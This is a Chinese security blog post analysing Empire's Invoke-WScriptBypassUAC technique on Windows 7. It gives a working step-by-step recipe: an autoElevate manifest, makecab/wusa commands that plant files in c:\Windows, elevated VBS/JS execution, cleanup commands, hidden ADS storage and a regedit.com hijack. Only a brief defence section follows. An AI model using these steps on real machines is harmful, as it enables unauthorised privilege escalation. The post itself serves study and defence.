Empire中的Invoke-WScriptBypassUAC利用分析

嘶吼roartalk / 2017-09-15 08:11:35 / 浏览数 2895 安全技术 技术讨论 顶(0) 踩(0)

0x00 前言

知名的后渗透测试框架Empire是一个很好的学习模板，其中包含的后渗透技巧很值得深入研究。

本文将要挑选Empire中一个经典的UAC绕过方法Invoke-WScriptBypassUAC进行分析，介绍绕过原理以及在渗透测试中的更多利用技巧。知道如何利用，才能知道如何防

Invoke-WScriptBypassUAC地址：

https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1

0x01 简介

本文将要介绍如下内容：

· Invoke-WScriptBypassUAC绕过原理

· 利用扩展

· 防御检测

0x02 Invoke-WScriptBypassUAC绕过原理

Invoke-WScriptBypassUAC通过powershell实现，思路上借鉴了Vozzie分享的github，地址如下：

https://github.com/Vozzie/uacscript

Vozzie提到ZDI和微软选择忽略该UAC绕过"漏洞"，ZDI认为这不是一个远程漏洞，微软认为UAC绕过不属于漏洞范畴

Invoke-WScriptBypassUAC在实现上使用了一些实用的小技巧，所以本文主要对Invoke-WScriptBypassUAC的绕过方法进行分析

该方法只适用于Win7，而Win8、Win10不适用（原因在后面介绍）

测试系统： Win7 x86

由于powershell格式的源代码公开，所以直接介绍该脚本关键的操作流程：

1、判断操作系统是否为Win7，是否为普通权限

2、Temp目录释放文件wscript.exe.manifest

3、使用makecab.exe对wscript.exe.manifest和wscript.exe进行压缩

4、使用wusa将压缩包解压缩，将wscript.exe.manifest和wscript.exe释放至c:\Windows目录

5、payload保存在Appdata文件夹的ADS中

6、使用c:\Windows\wscript.exe执行payload，实现管理员权限执行payload，绕过UAC

0x03 利用扩展

掌握操作流程后，我们完全可以手动进行拆分测试，在这个过程中能发现更多利用思路

1、保存wscript.exe.manifest文件

代码如下：

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1"
xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"
manifestVersion="1.0">
<asmv3:trustInfo>
<security>
<requestedPrivileges>
<requestedExecutionLevel level="RequireAdministrator" uiAccess="false"/>
</requestedPrivileges>
```

```
</security>
</asmv3:trustInfo>
<asmv3:application>
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<autoElevate>true</autoElevate>
<dpiAware>true</dpiAware>
 </asmv3:windowsSettings>
</asmv3:application>
</assembly>
```

2、使用makecab制作cab文件

cmd:

```
makecab c:\windows\system32\wscript.exe %TMP%\1.tmp
makecab wscript.exe.manifest %TMP%\2.tmp
```

3、使用wusa解压缩cab文件并释放至c:\windows

cmd:

```
wusa %TMP%\1.tmp /extract:"c:\windows" /quiet
wusa %TMP%\2.tmp /extract:"c:\windows" /quiet
```

注：

该方法成功的关键在于使用wusa能够将cab文件解压缩至c:\windows，通常情况下，向c:\windows目录释放文件需要管理员权限，而借助wusa，普通用户权限即可，当然其
C:\Windows\addins

4、使用该wscript.exe执行vbs或者js脚本

cmd：

```
c:\windows\wscript.exe c:\test\1.vbs
c:\windows\wscript.exe c:\test\1.js
```

注：

此处js和vbs脚本需要绝对路径，虽然是普通用户权限的cmd，但因为wscript.exe同级目录下的wscript.exe.manifest指定以管理员权限启动，所以执行的vbs或者js脚本是管

执行cmd命令对应的vbs脚本如下:

```
Dim objShell
Dim oFso
Set oFso = CreateObject("Scripting.FileSystemObject")
Set objShell = WScript.CreateObject("WScript.Shell")
command = "cmd /c calc.exe"
objShell.Run command, 0
Set objShell = Nothing
```

对应的js脚本如下：

```
new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Run(&amp;quot;cmd /c calc.exe&amp;quot;,0,true);
```

5、绕过后清除缓存文件

删除c:\windows\下的wscript.exe和wscript.exe.manifest

对应vbs脚本如下:

```
Dim objShell
Dim oFso
Set oFso = CreateObject("Scripting.FileSystemObject")
Set objShell = WScript.CreateObject("WScript.Shell")
command = "cmd /c del c:\windows\wscript.exe && del c:\windows\wscript.exe.manifest"
objShell.Run command, 0
Set objShell = Nothing
```

对应js脚本如下：

```
new ActiveXObject("WScript.Shell").Run("cmd /c del c:\windows\wscript.exe && del c:\windows\wscript.exe.manifest",0,true);
```

注：

删除c:\windows\下的wscript.exe和wscript.exe.manifest需要管理员权限

删除缓存文件：

```
del %TMP%\1.tmp
del %TMP%\2.tmp
```

6、补充

(1)可供利用的路径有很多，查看文件夹属性可使用如下powershell命令：

```
Get-Acl -Path c:\windows|select Owner
```

(2)保存vbs或者js脚本的路径有很多，例如特殊ads：

· ...文件

· 特殊COM文件

· 磁盘根目录

更多细节可参考文章《Hidden Alternative Data Streams的进阶利用技巧》

当然，Invoke-WScriptBypassUAC使用的ADS位置也很隐蔽

$env:USERPROFILE\AppData默认为系统隐藏文件

所以使用dir /r看不到文件夹$env:USERPROFILE\AppData，当然也无法看到添加的ads

需要使用dir /a:h /r（/a:h指定查看系统隐藏文件）才能看到，或者查看所有文件：dir /a /r

(3)Win8失败的原因

使用makecab和wusa能够将cab文件解压缩至高权限目录，如c:\windows

但利用wscript.exe和wscript.exe.manifest实现高权限执行的方法失效，Win8使用了内嵌manifest

(4)Win10失败的原因

Win10系统无法使用makecab和wusa能够将cab文件解压缩至高权限目录，如c:\windows

当然，也使用了内嵌manifest

0x04 wusa特性的进一步利用

wusa特性：

在普通用户的权限下，能够将文件释放至管理员权限的文件夹

适用Win7、Win8

利用一：文件名劫持

1、将calc.exe重命名为regedit.com

2、在c:\windows释放文件regedit.com

cmd：

```
makecab c:\test\regedit.com %TMP%\1.tmp
wusa %TMP%\1.tmp /extract:"c:\windows" /quiet
```

3、劫持

cmd输入regedit，会执行regedit.com，而不是regedit.exe

关于该利用方法的详情可参考文章：《A dirty way of tricking users to bypass UAC》

其他利用方法(暂略)

0x05 防御

该UAC绕过方法只适用于Win7，尚未见到对应补丁，杀毒软件能对此脚本进行拦截，但也存在绕过方法

站在防御者的角度，建议监控wusa.exe的调用

0x06 小结

本文对Invoke-WScriptBypassUAC进行了分析，虽然微软不认可该漏洞，但在后渗透阶段，不论是渗透测试人员，还是防御方，对此都应该注意。

>本文为 3gstudent 原创稿件，授权嘶吼独家发布，如若转载，请注明原文地址： http://www.4hou.com/technology/7636.html

上一篇：WAF挑战赛-Post 大包绕过 下一篇：Linux主机加固丨如何优雅的控制...

1. 0 条回复
   - 动动手指，沙发就是你的了！